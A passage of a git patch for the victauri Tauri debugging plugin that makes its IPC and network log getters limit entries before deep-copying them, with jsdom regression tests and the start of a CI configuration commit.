rewrite a logged call through it. Without `bodies`, the + // request args and result are left out and the error text is capped. + var MAX_IPC_ERROR_TEXT = 4096; + function ipcLogEntry(n, bodies) { + // Classify by COMMAND outcome, not just HTTP status. Tauri returns + // HTTP 200 for a failed command (incl. "command not found") and signals + // the real result via the `Tauri-Response` header captured as ipc_response. + // Precedence: pending > transport error (HTTP >= 400 / 'error') > command + // error (ipc_response 'error') > ok. + var st; + if (n.status === 'pending') { st = 'pending'; } + else if (n.status !== 200 && n.status !== 'ok') { st = 'error'; } + else if (n.ipc_response === 'error') { st = 'error'; } + else { st = 'ok'; } + var errText = null; + if (st === 'error') { + if (n.status !== 200 && n.status !== 'ok' && n.status !== 'pending') { + errText = 'HTTP ' + n.status; + } else if (n.response_body != null) { + // Command-level error: the body carries the error message. + errText = typeof n.response_body === 'string' + ? n.response_body : PRISTINE_STRINGIFY(n.response_body); + } else { + errText = 'command error'; + } + if (!bodies && typeof errText === 'string') errText = truncText(errText, MAX_IPC_ERROR_TEXT); + } + var e = { + id: n.id, + command: ipcCallCommand(n), + timestamp: n.timestamp, + status: st, + duration_ms: n.duration_ms, + error: errText, + }; + if (bodies) { + e.args = cloneJson(n.request_args) || {}; + // Nullish, not falsy: a command returning 0 / false / '' is a real result. + e.result = (n.response_body === undefined || n.response_body === null) ? null : cloneJson(n.response_body); + } + return e; + } + // ── Event stream (shared by getEventStream and the recording drain) ───── // // Calls `emit(event, keyTime, entry)` for every loggable entry. IPC and plain network @@ -1044,62 +1103,39 @@ const INIT_SCRIPT_BODY: &str = r#" // ── IPC Log ────────────────────────────────────────────────────────── - getIpcLog: function(limit) { - var victauriPrefix = 'plugin%3Avictauri%7C'; - var entries = []; + // The IPC calls in the network log, newest last. `limit` (> 0) keeps the newest + // `limit`; `opts.bodies === false` leaves out `args` / `result` (for callers that only + // need names, statuses and timings); `opts.ids` keeps only the calls with those ids. + // Calls are selected and limited FIRST and only the returned ones are deep-copied: + // copying every retained body (up to 1000 x 64 KB) and then discarding most of it + // froze the UI thread for ~1 s on every read (R5-JS1). + getIpcLog: function(limit, opts) { + var bodies = !(opts && opts.bodies === false); + var idSet = null; + if (opts && opts.ids) { + idSet = OBJ_CREATE(null); + for (var j = 0; j < opts.ids.length; j++) idSet['' + opts.ids[j]] = true; + } + var picked = []; for (var i = 0; i < networkLog.length; i++) { var n = networkLog[i]; - var raw = ipcCommandPath(n.url); - if (raw === null) continue; - if (raw.indexOf(victauriPrefix) === 0) continue; - var command; - try { command = decodeURIComponent(raw); } catch(e) { command = raw; } - // Classify by COMMAND outcome, not just HTTP status. Tauri returns - // HTTP 200 for a failed command (incl. "command not found") and signals - // the real result via the `Tauri-Response` header captured as ipc_response. - // Precedence: pending > transport error (HTTP >= 400 / 'error') > command - // error (ipc_response 'error') > ok. - var st; - if (n.status === 'pending') { st = 'pending'; } - else if (n.status !== 200 && n.status !== 'ok') { st = 'error'; } - else if (n.ipc_response === 'error') { st = 'error'; } - else { st = 'ok'; } - var errText = null; - if (st === 'error') { - if (n.status !== 200 && n.status !== 'ok' && n.status !== 'pending') { - errText = 'HTTP ' + n.status; - } else if (n.response_body != null) { - // Command-level error: the body carries the error message. - errText = typeof n.response_body === 'string' - ? n.response_body : PRISTINE_STRINGIFY(n.response_body); - } else { - errText = 'command error'; - } - } - entries.push({ - id: n.id, - command: command, - args: cloneJson(n.request_args) || {}, - timestamp: n.timestamp, - status: st, - duration_ms: n.duration_ms, - // Nullish, not falsy: a command returning 0 / false / '' is a real result. - // Deep copies: the page must not rewrite a logged call through this entry. - result: (n.response_body === undefined || n.response_body === null) ? null : cloneJson(n.response_body), - error: errText, - }); + if (idSet && !idSet['' + n.id]) continue; + if (ipcCallCommand(n) === null) continue; + picked.push(n); } - if (limit) return entries.slice(-limit); + var start = (typeof limit === 'number' && limit > 0 && picked.length > limit) ? picked.length - limit : 0; + var entries = []; + for (var k = start; k < picked.length; k++) entries.push(ipcLogEntry(picked[k], bodies)); return entries; }, waitForIpcComplete: function(timeoutMs) { - var log = window.__VICTAURI__.getIpcLog(); - if (log.length > 0) { - var last = log[log.length - 1]; - if (last.duration_ms !== null && last.duration_ms !== undefined && last.result !== null) { - return Promise.resolve(true); - } + // Inspect the newest IPC call in place: copying the whole log to read one entry + // cost as much as a full `getIpcLog()` (R5-JS1). + var last = newestIpcCall(); + if (last && last.duration_ms !== null && last.duration_ms !== undefined + && last.response_body !== null && last.response_body !== undefined) { + return Promise.resolve(true); } return new Promise(function(resolve) { var timer = setTimeout(function() { @@ -1129,12 +1165,24 @@ const INIT_SCRIPT_BODY: &str = r#" // ── Network ────────────────────────────────────────────────────────── - getNetworkLog: function(filter, limit) { + // Filtered and limited BEFORE copying (R5-JS1). `opts.bodies === false` leaves out + // the captured IPC request args / response bodies (e.g. to count entries cheaply). + getNetworkLog: function(filter, limit, opts) { var log = networkLog; if (filter) { log = log.filter(function(e) { return e.url.indexOf(filter) !== -1; }); } - if (limit) log = log.slice(-limit); + if (typeof limit === 'number' && limit > 0) log = log.slice(-limit); + if (opts && opts.bodies === false) { + var out = new Array(log.length); + for (var i = 0; i < log.length; i++) { + var c = ASSIGN({}, log[i]); + delete c.request_args; + delete c.response_body; + out[i] = c; + } + return copyEntries(out); + } return copyEntries(log); }, diff --git a/crates/victauri-plugin/src/mcp/helpers.rs b/crates/victauri-plugin/src/mcp/helpers.rs index b38ccd8a..269af40e 100644 --- a/crates/victauri-plugin/src/mcp/helpers.rs +++ b/crates/victauri-plugin/src/mcp/helpers.rs @@ -64,7 +64,7 @@ pub fn ghost_ipc_projection_js(since_ms: Option) -> String { _ => String::new(), }; format!( - "return (window.__VICTAURI__?.getIpcLog() || []){filter}\ + "return (window.__VICTAURI__?.getIpcLog(0, {{ bodies: false }}) || []){filter}\ .map(function(c){{ return (c && c.command) || null; }})\ .filter(function(x){{ return x; }})" ) @@ -89,7 +89,7 @@ pub fn ghost_ipc_outcomes_js(since_ms: Option) -> String { }; format!( "return (function() {{\ - \n var log = (window.__VICTAURI__?.getIpcLog() || []){filter};\ + \n var log = (window.__VICTAURI__?.getIpcLog(0, {{ bodies: false }}) || []){filter};\ \n var byCmd = {{}};\ \n for (var i = 0; i < log.length; i++) {{\ \n var c = log[i]; if (!c || !c.command) continue;\ @@ -264,7 +264,7 @@ pub fn ipc_timing_projection_js(since_ms: Option) -> String { _ => String::new(), }; format!( - "return (window.__VICTAURI__?.getIpcLog() || []){filter}\ + "return (window.__VICTAURI__?.getIpcLog(0, {{ bodies: false }}) || []){filter}\ .map(function(c){{ return (c && c.command) ? {{ command: c.command, \ duration_ms: (typeof c.duration_ms === 'number' ? c.duration_ms : null) }} : null; }})\ .filter(function(x){{ return x; }})" @@ -370,22 +370,34 @@ pub fn ipc_catalog_projection_js() -> String { }\ return typeof v;\ }\ - var log = window.__VICTAURI__ && window.__VICTAURI__.getIpcLog ? (window.__VICTAURI__.getIpcLog() || []) : [];\ - var cat = Object.create(null);\ + var V = window.__VICTAURI__;\ + var log = V && V.getIpcLog ? (V.getIpcLog(0, { bodies: false }) || []) : [];\ + var cat = Object.create(null), meta = Object.create(null);\ for (var i = 0; i < log.length; i++){\ var e = log[i]; if (!e || !e.command) continue;\ - var c = cat[e.command] || (cat[e.command] = { command: e.command, call_count: 0, error_count: 0, arg_shape: null, result_shape: null, last_status: null });\ + var c = cat[e.command];\ + if (!c){\ + c = cat[e.command] = { command: e.command, call_count: 0, error_count: 0, arg_shape: null, result_shape: null, last_status: null };\ + meta[e.command] = { first: e.id, ok: null };\ + }\ c.call_count++;\ var isErr = (e.status && e.status !== 'ok') || (e.error != null);\ if (isErr) c.error_count++;\ c.last_status = e.status || (isErr ? 'error' : 'ok');\ - if (c.arg_shape === null && e.args !== undefined) c.arg_shape = shape(e.args, 0);\ - if (c.result_shape === null && !isErr && e.result !== undefined) c.result_shape = shape(e.result, 0);\ + if (!isErr && meta[e.command].ok === null) meta[e.command].ok = e.id;\ }\ - for (var j = 0; j < log.length; j++){\ - var e2 = log[j]; if (!e2 || !e2.command) continue;\ - var c2 = cat[e2.command];\ - if (c2 && c2.result_shape === null && e2.result !== undefined) c2.result_shape = shape(e2.result, 0);\ + /* Bodies only for the <= 2 calls per command whose shapes are reported: the first \ + call (args) and the first successful one (result; else the first call). */\ + var ids = [];\ + for (var m in meta){ ids.push(meta[m].first); if (meta[m].ok !== null) ids.push(meta[m].ok); }\ + var full = ids.length ? (V.getIpcLog(0, { ids: ids }) || []) : [];\ + var byId = Object.create(null);\ + for (var j = 0; j < full.length; j++){ if (full[j]) byId[full[j].id] = full[j]; }\ + for (var cmd in cat){\ + var first = byId[meta[cmd].first], ok = meta[cmd].ok !== null ? byId[meta[cmd].ok] : null;\ + if (first && first.args !== undefined) cat[cmd].arg_shape = shape(first.args, 0);\ + var res = ok || first;\ + if (res && res.result !== undefined) cat[cmd].result_shape = shape(res.result, 0);\ }\ return Object.keys(cat).map(function(k){ return cat[k]; });\ })()" @@ -872,7 +884,10 @@ mod ghost_projection_tests { #[test] fn projects_whole_log_when_since_absent() { let js = ghost_ipc_projection_js(None); - assert!(js.contains("getIpcLog()")); + assert!( + js.contains("getIpcLog(0, { bodies: false })"), + "body-free view: {js}" + ); assert!(js.contains(".map(")); // No time window applied. assert!(!js.contains("Date.now()")); diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index 71a5ae9c..c17622b6 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -813,36 +813,7 @@ impl VictauriMcpHandler { Parameters(params): Parameters, ) -> CallToolResult { let threshold = params.stale_threshold_ms.unwrap_or(5000); - let code = format!( - r"return (function() {{ - var log = window.__VICTAURI__?.getIpcLog() || []; - var now = Date.now(); - var threshold = {threshold}; - var pending = log.filter(function(c) {{ return c.status === 'pending'; }}); - var stale = pending.filter(function(c) {{ return (now - c.timestamp) > threshold; }}); - var errored = log.filter(function(c) {{ return c.status === 'error'; }}); - var net = window.__VICTAURI__?.getNetworkLog() || []; - var warning = null; - if (log.length === 0 && net.length > 5) {{ - warning = 'Zero IPC calls captured but ' + net.length + ' network requests observed. IPC capture may not be working — verify the app uses Tauri IPC via fetch to ipc.localhost.'; - }} - // INTEGRITY = round-trip soundness: no stuck/stale (never-returned) calls. - // A command that completed with an Err is a HEALTHY round-trip (it returned) - // — every real app exercises error paths, so counting those as 'unhealthy' - // would cry wolf. The error_count/errored_calls surface them for visibility, - // but only stale calls flip `healthy`. - return {{ - healthy: stale.length === 0, - total_calls: log.length, - pending_count: pending.length, - stale_count: stale.length, - error_count: errored.length, - stale_calls: stale.slice(0, 20), - errored_calls: errored.slice(0, 20), - warning: warning - }}; - }})()" - ); + let code = ipc_integrity_js(threshold); self.eval_bridge(&code, params.webview_label.as_deref()) .await } @@ -3170,7 +3141,8 @@ impl VictauriMcpHandler { let wait = params.wait_for_capture.unwrap_or(false); let limit = params.limit.unwrap_or(DEFAULT_LOG_LIMIT); if wait { - let inner = trimmed_log_js("window.__VICTAURI__.getIpcLog()", limit); + let inner = + trimmed_log_js(&format!("window.__VICTAURI__.getIpcLog({limit})"), limit); let code = format!( r"return (async function() {{ await window.__VICTAURI__.waitForIpcComplete(500); @@ -3186,7 +3158,8 @@ impl VictauriMcpHandler { Err(e) => tool_error(e), } } else { - let code = trimmed_log_js("window.__VICTAURI__?.getIpcLog()", limit); + let code = + trimmed_log_js(&format!("window.__VICTAURI__?.getIpcLog({limit})"), limit); self.eval_bridge(&code, params.webview_label.as_deref()) .await } @@ -3231,17 +3204,7 @@ impl VictauriMcpHandler { return missing_param("threshold_ms", "slow_ipc"); }; let limit = params.limit.unwrap_or(20); - let trim_field = trim_field_js(); - let code = format!( - r"return (function() {{ - {trim_field} - function trimEntry(e) {{ if (e == null || typeof e !== 'object') return e; var o = {{}}; for (var k in e) {{ if (Object.prototype.hasOwnProperty.call(e, k)) o[k] = trimField(e[k]); }} return o; }} - var log = window.__VICTAURI__?.getIpcLog() || []; - var slow = log.filter(function(c) {{ return (c.duration_ms || 0) > {threshold}; }}); - slow.sort(function(a, b) {{ return (b.duration_ms || 0) - (a.duration_ms || 0); }}); - return {{ threshold_ms: {threshold}, count: Math.min(slow.length, {limit}), calls: slow.slice(0, {limit}).map(trimEntry) }}; - }})()", - ); + let code = slow_ipc_js(threshold, limit); self.eval_bridge(&code, None).await } LogsAction::Clear => { @@ -5504,7 +5467,10 @@ impl ServerHandler for VictauriMcpHandler { // itself default-window-drained) — serving a subset that looks complete. // trimmed_log_js bounds entries + truncates oversized fields so the // resource stays correct under load. (Matches the `logs ipc` tool.) - let code = trimmed_log_js("window.__VICTAURI__?.getIpcLog()", DEFAULT_LOG_LIMIT); + let code = trimmed_log_js( + &format!("window.__VICTAURI__?.getIpcLog({DEFAULT_LOG_LIMIT})"), + DEFAULT_LOG_LIMIT, + ); if let Ok(json) = self.eval_with_return(&code, None).await { json } else { @@ -5617,6 +5583,75 @@ fn trim_field_js() -> String { ) } +/// JS for `check_ipc_integrity`. Classifies the calls from the body-free IPC view and fetches +/// full entries (args + result) only for the <= 20 stale and <= 20 errored calls it lists: +/// deep-copying every retained body just to count statuses froze the UI thread (R5-JS1). +fn ipc_integrity_js(threshold_ms: i64) -> String { + format!( + r"return (function() {{ + var V = window.__VICTAURI__; + var log = V?.getIpcLog(0, {{ bodies: false }}) || []; + var now = Date.now(); + var threshold = {threshold_ms}; + var pending = log.filter(function(c) {{ return c.status === 'pending'; }}); + var stale = pending.filter(function(c) {{ return (now - c.timestamp) > threshold; }}); + var errored = log.filter(function(c) {{ return c.status === 'error'; }}); + var netCount = (V?.getNetworkLog(null, 0, {{ bodies: false }}) || []).length; + var warning = null; + if (log.length === 0 && netCount > 5) {{ + warning = 'Zero IPC calls captured but ' + netCount + ' network requests observed. IPC capture may not be working — verify the app uses Tauri IPC via fetch to ipc.localhost.'; + }} + function withBodies(list) {{ + list = list.slice(0, 20); + if (!list.length) return list; + var got = V.getIpcLog(0, {{ ids: list.map(function(c) {{ return c.id; }}) }}) || []; + var byId = {{}}; + for (var i = 0; i < got.length; i++) byId[got[i].id] = got[i]; + return list.map(function(c) {{ return byId[c.id] || c; }}); + }} + // INTEGRITY = round-trip soundness: no stuck/stale (never-returned) calls. + // A command that completed with an Err is a HEALTHY round-trip (it returned) + // — every real app exercises error paths, so counting those as 'unhealthy' + // would cry wolf. The error_count/errored_calls surface them for visibility, + // but only stale calls flip `healthy`. + return {{ + healthy: stale.length === 0, + total_calls: log.length, + pending_count: pending.length, + stale_count: stale.length, + error_count: errored.length, + stale_calls: withBodies(stale), + errored_calls: withBodies(errored), + warning: warning + }}; + }})()" + ) +} + +/// JS for `logs slow_ipc`: ranks the calls from the body-free IPC view, then fetches full +/// (field-trimmed) entries only for the `limit` slowest it returns (R5-JS1). +fn slow_ipc_js(threshold_ms: u64, limit: usize) -> String { + let trim_field = trim_field_js(); + format!( + r"return (function() {{ + {trim_field} + function trimEntry(e) {{ if (e == null || typeof e !== 'object') return e; var o = {{}}; for (var k in e) {{ if (Object.prototype.hasOwnProperty.call(e, k)) o[k] = trimField(e[k]); }} return o; }} + var V = window.__VICTAURI__; + var log = V?.getIpcLog(0, {{ bodies: false }}) || []; + var slow = log.filter(function(c) {{ return (c.duration_ms || 0) > {threshold_ms}; }}); + slow.sort(function(a, b) {{ return (b.duration_ms || 0) - (a.duration_ms || 0); }}); + var top = slow.slice(0, {limit}); + if (top.length) {{ + var got = V.getIpcLog(0, {{ ids: top.map(function(c) {{ return c.id; }}) }}) || []; + var byId = {{}}; + for (var i = 0; i < got.length; i++) byId[got[i].id] = got[i]; + top = top.map(function(c) {{ return byId[c.id] || c; }}); + }} + return {{ threshold_ms: {threshold_ms}, count: top.length, calls: top.map(trimEntry) }}; + }})()", + ) +} + /// Build a JS expression that takes an array of log entries (`source_expr`), /// keeps at most `limit` of the most recent, and truncates any per-entry field /// larger than [`MAX_LOG_FIELD_BYTES`]. This keeps IPC/network log results under @@ -9498,3 +9533,168 @@ mod screenshot_visibility_tests { ); } } + +/// The IPC-log projections the tools send to the page, run against the REAL bridge in jsdom +/// (the `tests/bridge_tests` runner). R5-JS1 made them read a body-free view and fetch bodies +/// only for the entries they report, so their output is pinned end to end here. +#[cfg(test)] +mod ipc_projection_jsdom_tests { + use super::{ + DEFAULT_LOG_LIMIT, ghost_ipc_outcomes_js, ipc_catalog_projection_js, ipc_integrity_js, + ipc_timing_projection_js, slow_ipc_js, trimmed_log_js, + }; + use std::io::Write; + + const TRAFFIC: &str = r#" + function call(cmd, args, headers) { + return fetch('http://ipc.localhost/' + cmd, { method: 'POST', body: JSON.stringify(args), headers: headers || {} }); + } + await call('get_a', { x: 1 }, { 'x-vtest-body': '{"n":1,"s":"a"}' }); + await call('get_a', { x: 2 }, { 'x-vtest-body': '{"n":2,"s":"b"}' }); + await call('bad_cmd', {}, { 'x-vtest-tauri-response': 'error', 'x-vtest-body': '"command bad_cmd not found"' }); + await call('delayed', { d: true }, { 'x-vtest-delay-ms': '80', 'x-vtest-body': '{"late":true}' }); + call('stuck', { p: 1 }, { 'x-vtest-delay-ms': '1500' }); + await new Promise(function(r) { setTimeout(r, 40); }); + "#; + + fn run(code: &str) -> Option { + let dir = std::path::PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("tests") + .join("bridge_tests"); + if !dir.join("node_modules").join("jsdom").exists() { + assert!( + std::env::var_os("CI").is_none() + && std::env::var_os("VICTAURI_REQUIRE_JSDOM").is_none(), + "jsdom is not installed: `npm ci` in crates/victauri-plugin/tests/bridge_tests/" + ); + eprintln!("SKIP: jsdom not installed"); + return None; + } + let def = serde_json::json!({ + "bridge_script": crate::js_bridge::init_script( + &crate::js_bridge::BridgeCapacities::default() + ), + "setup_html": "", + "tests": [{ "name": "projection", "code": format!("{TRAFFIC}\nreturn (function() {{ {code} }})();") }], + }); + let mut tmp = tempfile::NamedTempFile::new().expect("temp file"); + tmp.write_all(def.to_string().as_bytes()).expect("write"); + tmp.flush().expect("flush"); + let out = std::process::Command::new("node") + .arg(dir.join("run_tests.js")) + .arg(tmp.path()) + .output() + .expect("run node"); + let stdout = String::from_utf8_lossy(&out.stdout); + let line = stdout + .lines() + .find_map(|l| l.strip_prefix("VICTAURI_RESULTS:")) + .unwrap_or_else(|| panic!("no results: {stdout}")); + let results: serde_json::Value = serde_json::from_str(line).expect("results json"); + let r = &results[0]; + assert_eq!(r["passed"], true, "projection threw: {r}"); + Some(r["result"].clone()) + } + + #[test] + fn catalog_reports_first_arg_and_first_ok_result_shapes() { + let Some(v) = run(&ipc_catalog_projection_js()) else { + return; + }; + let by = |c: &str| { + v.as_array() + .unwrap() + .iter() + .find(|e| e["command"] == c) + .cloned() + .unwrap_or_else(|| panic!("{c} missing: {v}")) + }; + let a = by("get_a"); + assert_eq!(a["call_count"], 2, "{v}"); + assert_eq!(a["arg_shape"], serde_json::json!({ "x": "number" }), "{v}"); + assert_eq!( + a["result_shape"], + serde_json::json!({ "n": "number", "s": "string" }), + "{v}" + ); + let bad = by("bad_cmd"); + assert_eq!(bad["error_count"], 1, "{v}"); + assert_eq!(bad["result_shape"], "string", "{v}"); + let stuck = by("stuck"); + assert_eq!(stuck["last_status"], "pending", "{v}"); + assert_eq!( + stuck["arg_shape"], + serde_json::json!({ "p": "number" }), + "{v}" + ); + assert_eq!(stuck["result_shape"], "null", "{v}"); + } + + #[test] + fn ghost_outcomes_and_timings_come_from_the_body_free_view() { + let Some(v) = run(&ghost_ipc_outcomes_js(None)) else { + return; + }; + let bad = v + .as_array() + .unwrap() + .iter() + .find(|e| e["command"] == "bad_cmd") + .cloned() + .unwrap(); + assert_eq!(bad["ok"], false, "{v}"); + assert!( + bad["err"].as_str().unwrap().contains("not found"), + "the error sample must survive without bodies: {v}" + ); + let Some(t) = run(&ipc_timing_projection_js(None)) else { + return; + }; + assert_eq!(t.as_array().unwrap().len(), 5, "{t}"); + assert!(t[3]["duration_ms"].as_f64().unwrap() >= 60.0, "{t}"); + } + + #[test] + fn integrity_lists_stale_and_errored_calls_with_their_bodies() { + let Some(v) = run(&ipc_integrity_js(10)) else { + return; + }; + assert_eq!(v["healthy"], false, "{v}"); + assert_eq!(v["total_calls"], 5, "{v}"); + assert_eq!(v["stale_count"], 1, "{v}"); + assert_eq!(v["error_count"], 1, "{v}"); + assert_eq!(v["stale_calls"][0]["command"], "stuck", "{v}"); + assert_eq!(v["stale_calls"][0]["args"]["p"], 1, "{v}"); + assert_eq!( + v["errored_calls"][0]["result"], "command bad_cmd not found", + "{v}" + ); + } + + #[test] + fn slow_ipc_returns_the_slowest_calls_with_their_bodies() { + let Some(v) = run(&slow_ipc_js(50, 20)) else { + return; + }; + assert_eq!(v["count"], 1, "{v}"); + assert_eq!(v["calls"][0]["command"], "delayed", "{v}"); + assert_eq!(v["calls"][0]["args"]["d"], true, "{v}"); + assert_eq!(v["calls"][0]["result"]["late"], true, "{v}"); + } + + #[test] + fn logs_ipc_source_keeps_the_newest_entries() { + let code = trimmed_log_js("window.__VICTAURI__?.getIpcLog(2)", DEFAULT_LOG_LIMIT); + let Some(v) = run(&code) else { + return; + }; + let cmds: Vec<&str> = v + .as_array() + .unwrap() + .iter() + .map(|e| e["command"].as_str().unwrap()) + .collect(); + assert_eq!(cmds, ["delayed", "stuck"], "{v}"); + assert_eq!(v[0]["result"]["late"], true, "{v}"); + } +} diff --git a/crates/victauri-plugin/tests/bridge_r5_tests.rs b/crates/victauri-plugin/tests/bridge_r5_tests.rs new file mode 100644 index 00000000..a3ca1d1a --- /dev/null +++ b/crates/victauri-plugin/tests/bridge_r5_tests.rs @@ -0,0 +1,224 @@ +//! Round-5 audit regressions for the injected JS bridge (jsdom via Node.js). +//! +//! Same harness as `bridge_tests.rs` (`tests/bridge_tests/run_tests.js`): each test serializes +//! a batch of JS cases, runs them in a fresh jsdom with the real bridge injected, and asserts +//! on the results. Set `VICTAURI_REQUIRE_JSDOM=1` (CI sets `CI`) so a missing jsdom fails +//! instead of skipping. + +use serde::{Deserialize, Serialize}; +use std::io::Write; +use std::path::PathBuf; +use std::process::Command; + +use victauri_plugin::js_bridge::{BridgeCapacities, init_script}; + +#[derive(Serialize)] +struct TestDef { + bridge_script: String, + setup_html: String, + #[serde(skip_serializing_if = "Option::is_none")] + setup_js: Option, + tests: Vec, +} + +#[derive(Serialize)] +struct TestCase { + name: String, + code: String, +} + +#[derive(Deserialize, Debug)] +struct TestResult { + name: String, + passed: bool, + result: Option, + error: Option, +} + +fn runner_dir() -> PathBuf { + PathBuf::from(env!("CARGO_MANIFEST_DIR")) + .join("tests") + .join("bridge_tests") +} + +fn run_tests(def: &TestDef) -> Option> { + if !runner_dir().join("node_modules").join("jsdom").exists() { + assert!( + std::env::var_os("CI").is_none() + && std::env::var_os("VICTAURI_REQUIRE_JSDOM").is_none(), + "jsdom is not installed, so the JS bridge tests cannot run: \ + `npm ci` in crates/victauri-plugin/tests/bridge_tests/" + ); + eprintln!("SKIP: jsdom not installed (run `npm ci` in tests/bridge_tests/)"); + return None; + } + let mut tmp = tempfile::NamedTempFile::new().expect("create temp file"); + let json = serde_json::to_string(def).expect("serialize test def"); + tmp.write_all(json.as_bytes()).expect("write test def"); + tmp.flush().expect("flush temp file"); + let output = Command::new("node") + .arg(runner_dir().join("run_tests.js")) + .arg(tmp.path()) + .output() + .expect("failed to run node"); + let stdout = String::from_utf8_lossy(&output.stdout); + let stderr = String::from_utf8_lossy(&output.stderr); + let line = stdout + .lines() + .find(|l| l.starts_with("VICTAURI_RESULTS:")) + .unwrap_or_else(|| panic!("No VICTAURI_RESULTS line.\nstdout: {stdout}\nstderr: {stderr}")); + Some( + serde_json::from_str(&line["VICTAURI_RESULTS:".len()..]) + .unwrap_or_else(|e| panic!("bad results JSON: {e}\nraw: {line}")), + ) +} + +fn assert_all_pass(results: &[TestResult]) { + let failures: Vec = results + .iter() + .filter(|r| !r.passed) + .map(|r| format!(" FAIL: {} => {:?}", r.name, r.error)) + .collect(); + assert!( + failures.is_empty(), + "Test failures:\n{}", + failures.join("\n") + ); +} + +fn case(name: &str, code: &str) -> TestCase { + TestCase { + name: name.into(), + code: code.into(), + } +} + +fn def(setup_js: Option, tests: Vec) -> TestDef { + TestDef { + bridge_script: init_script(&BridgeCapacities::default()), + setup_html: r#"R5
    "# + .to_string(), + setup_js, + tests, + } +} + +fn result(results: &[TestResult], i: usize) -> serde_json::Value { + results[i].result.clone().unwrap_or_default() +} + +// ── R5-JS1: log getters select + limit BEFORE deep-copying ─────────────────── + +/// Fill the IPC log with `n` completed calls whose response bodies are ~50 KB each (just under +/// the 64 KB capture cap), like a data-heavy app. Defines `__fillIpc` for the test code. +const FILL_IPC: &str = r" +window.__fillIpc = async function(n) { + var item = { id: 1, title: 'x'.repeat(40), tags: ['a', 'b', 'c'], score: 0.5, nested: { k: 'v'.repeat(20) } }; + var rows = []; + for (var i = 0; i < 380; i++) { var r = Object.assign({}, item); r.id = i; rows.push(r); } + var big = JSON.stringify(rows); + var ps = []; + for (var j = 0; j < n; j++) { + ps.push(fetch('http://ipc.localhost/get_items', { + method: 'POST', body: JSON.stringify({ page: j }), headers: { 'x-vtest-body': big } + })); + } + await Promise.all(ps); + await new Promise(function(r) { setTimeout(r, 50); }); + return big.length; +}; +"; + +/// `getIpcLog(limit)` deep-copied EVERY entry (args + ~50 KB result each) and only then kept +/// the last `limit`: ~860 ms per call on 1000 big entries, on the UI thread, for every +/// `logs ipc` / ghost / coverage / catalog / integrity read. It now selects first and copies +/// only what it returns. `waitForIpcComplete` read the full copied log to inspect one entry. +#[test] +fn r5_js1_ipc_log_reads_are_not_proportional_to_total_body_bytes() { + let def = def( + Some(FILL_IPC.to_string()), + vec![case( + "getIpcLog(100) / waitForIpcComplete on 1000 x 50 KB entries", + r" + var V = window.__VICTAURI__; + var bodyBytes = await window.__fillIpc(1000); + var t0 = performance.now(); + var last100 = V.getIpcLog(100); + var limitedMs = performance.now() - t0; + t0 = performance.now(); + var last10 = V.getIpcLog(10); + var limited10Ms = performance.now() - t0; + t0 = performance.now(); + var light = V.getIpcLog(0, { bodies: false }); + var lightMs = performance.now() - t0; + t0 = performance.now(); + var done = await V.waitForIpcComplete(50); + var waitMs = performance.now() - t0; + // Still copies: mutating what was handed out must not reach the bridge's log. + last100[99].result[0].title = 'forged'; + last100[99].args.page = -1; + var again = V.getIpcLog(1)[0]; + return { + body_bytes: bodyBytes, + n: last100.length, + first_page: last100[0].args.page, + last_page: last100[99].args.page, + result_rows: again.result.length, + limited_ms: limitedMs, + limited10_ms: limited10Ms, + light_ms: lightMs, + light_n: light.length, + light_has_bodies: light.some(function(e) { return 'args' in e || 'result' in e; }), + last10_first_page: last10[0].args.page, + wait_ms: waitMs, + wait_done: done, + still_pristine: again.result[0].title !== 'forged' && again.args.page === 999, + }; + ", + )], + ); + let Some(results) = run_tests(&def) else { + return; + }; + assert_all_pass(&results); + let r = result(&results, 0); + eprintln!("R5-JS1 timings: {r}"); + assert!(r["body_bytes"].as_u64().unwrap() > 45_000, "{r}"); + assert_eq!(r["n"], 100, "{r}"); + assert_eq!( + r["first_page"], 900, + "limit must keep the NEWEST entries: {r}" + ); + assert_eq!(r["result_rows"], 380, "{r}"); + assert_eq!(r["wait_done"], true, "{r}"); + assert_eq!( + r["still_pristine"], true, + "returned entries must be copies: {r}" + ); + assert_eq!(r["last10_first_page"], 990, "{r}"); + assert_eq!(r["light_n"], 1000, "{r}"); + assert_eq!(r["light_has_bodies"], false, "{r}"); + // Before the fix each of these copied all ~50 MB first: ~1000 ms regardless of the limit. + // Now the cost follows what is returned (100 bodies ~ 90 ms, 10 ~ 10 ms here); the bounds + // leave several-fold headroom for a slow CI runner. + let limited = r["limited_ms"].as_f64().unwrap(); + let limited10 = r["limited10_ms"].as_f64().unwrap(); + let light = r["light_ms"].as_f64().unwrap(); + let wait = r["wait_ms"].as_f64().unwrap(); + assert!( + limited < 500.0, + "getIpcLog(100) took {limited:.0} ms on 1000 big entries (must not copy them all): {r}" + ); + assert!( + limited10 < 100.0, + "getIpcLog(10) took {limited10:.0} ms on 1000 big entries (must not copy them all): {r}" + ); + assert!( + light < 100.0, + "getIpcLog(0, {{bodies:false}}) took {light:.0} ms (must not copy any body): {r}" + ); + assert!( + wait < 50.0, + "waitForIpcComplete took {wait:.0} ms with the last call complete (must not copy the log): {r}" + ); +} From 7adb7670c3133a1001657c6a4fad8c4ef03d41d0 Mon Sep 17 00:00:00 2001 From: antony Date: Tue, 29 Sep 2026 23:53:28 +1000 Subject: [PATCH 106/167] ci: compile the plugin without SQLite; MSRV --locked; honest semver note The workspace-wide --no-default-features clippy never compiled the plugin's no-SQLite paths: demo-app and gauntlet-app depend on the plugin with default features, so feature unification kept `sqlite` on. Add a `-p victauri-plugin --no-default-features` clippy and lib-test step (both clean locally). MSRV check now uses --locked. The semver job comment claimed the 0.8.8 -> 0.9.0 check passes as a major bump; for a 0.x major bump cargo-semver-checks skips every lint. RELEASING.md step 3 now also requires `--release-type minor` for a major bump. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- .github/workflows/ci.yml | 29 ++++++++++++++++++++++++----- CHANGELOG.md | 8 ++++++++ RELEASING.md | 5 +++++ 3 files changed, 37 insertions(+), 5 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index de63cca0..9ead9985 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -61,6 +61,19 @@ jobs: if: matrix.os == 'ubuntu-latest' run: cargo clippy --workspace --all-targets --no-default-features 